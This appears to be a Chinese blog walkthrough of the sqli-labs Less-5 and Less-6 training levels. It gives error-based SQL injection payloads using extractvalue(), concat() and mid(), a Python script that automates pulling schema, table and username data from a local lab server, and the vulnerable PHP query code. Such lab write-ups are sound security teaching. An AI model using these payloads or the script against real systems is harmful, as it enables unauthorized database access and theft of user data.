less-5

(1)打开页面后,根据提示输入 ?id=1

可以看到没有回显点了

(2)输入:/?id=1 and 1=1

页面仍然正常显示,less-1解释过" and 1=1"有可能是作为’1 and 1=1’字符串的一部分,而没有被当作语句的一部分来执行。

(3)输入: /?id=1 and 1=2

页面没有变化,说明" and 1=2"确实是作为字符串的一部分,更精确地说它没有起到作用。

(4)输入:/?id=1’

有报错信息,分析它返回的一部分SQL语句:‘1’’ LIMIT 0,1,前面的单引号要闭合,后一个单引号要注释掉。

(5)输入:/?id=1’ and 1=1 --%20

这回" and 1=1"已经被当作SQL语句的一部分来执行了,接下来可以获取数据了。

没有回显点的情况下,可以根据页面是否异常来进行布尔盲注。

但是有报错信息回显,所以报错注入更为方面,即可以用extractvalue()或updatexml()这两个处理XML文档数据的函数,或者用rand()、floor()和count()三个函数一起进行报错注入。

(6)输入:/?id=1’ and extractvalue(1, concat(0x7c, mid((select database()),1))) --%20

这里把concat()套在mid()外面的原因,主要是为了更好地显示并整理数据,因为extractvalue()的第 2 个参数不符合XPATH格式的时候就会报错,当检索出的字符串包含","、" | "等一些特殊字符时,extractvalue()就会执行出错,并且在报错信息中显示这些特殊字符之后的数据部分。

如果把concat()套在mid()里面,当修改mid()的第2个参数值时,前后两次获取到的数据有重叠部分。如:

输入 /?id=1’ and extractvalue(1, mid(concat(0x7c, (select group_concat(schema_name) from information_schema.schemata)),10)) --%20

输入 /?id=1’ and extractvalue(1, mid(concat(0x7c, (select group_concat(schema_name) from information_schema.schemata)),20)) --%20

可以看到,当改变mid()截取字符串的起始位置时,前后两次(10和20)并没有发生什么变化,是因为" |informaiton_schema, "长度为20,从 10 或 20开始截取,碰到的第一个逗号“ , ”都是“ , bwapp…”的“b”前面那个“ , ”,所以两次报错显示的数据都是从这里开始。

因此,在mid()截取到字符串后,在外面用concat()拼接一个" | “,得到字符串必然为 " |…”,报错显示的数据也必然是从 " | "开始。

(7)一个python小脚本:

import requests
import re

url = "http://192.168.127.130/sqli-labs-master/Less-5/?id=1' and extractvalue(1, concat(0x7c,mid(" \
      "(select group_concat(schema_name) from information_schema.schemata " \     # 在这里修改SQL语句,获取想要的数据
      "),%s,10))) --%%20"

db_list = []
str = ''
i = 1

while True:
    # 0、构造URL
    url2 = url % i
    # 1、发送get请求,获得响应页面
    r = requests.get(url2)
    # 2、从页面中提取数据
    s = re.findall(r"XPATH syntax error: '.*?'", r.text)[0][22:-1]
    # 3、如果没有提取到数据,结束循环,否则保存数据到变量中,回到步骤 0
    if s:
        str += s
        i += 10
    else:
        break

# 4、将数据分割成一个个字符串,保存到列表中
print(str)
db_list = str[1:].split(',')
print(db_list)

运行结果:

修改SQL语句为:select group_concat(table_name) from information_schema.tables where table_schema=database()
运行结果:

修改SQL语句为:select group_concat(column_name) from information_schema.columns where table_name=‘users’
运行结果:

修改SQL语句为:select group_concat(username) from users
运行结果:

源代码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
 	echo '<font size="5" color="#FFFF00">';	
 	echo 'You are in...........';                  # 这里与前4关相比,没有了回显点
 	echo "<br>";
   	echo "</font>";
} else 
{
	echo '<font size="3" color="#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
}
else { echo "Please input the ID as parameter with numeric value";}

less-6

less-6的思路是一样,只不过是构造的SQL语句不同。

less-6的语句:

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值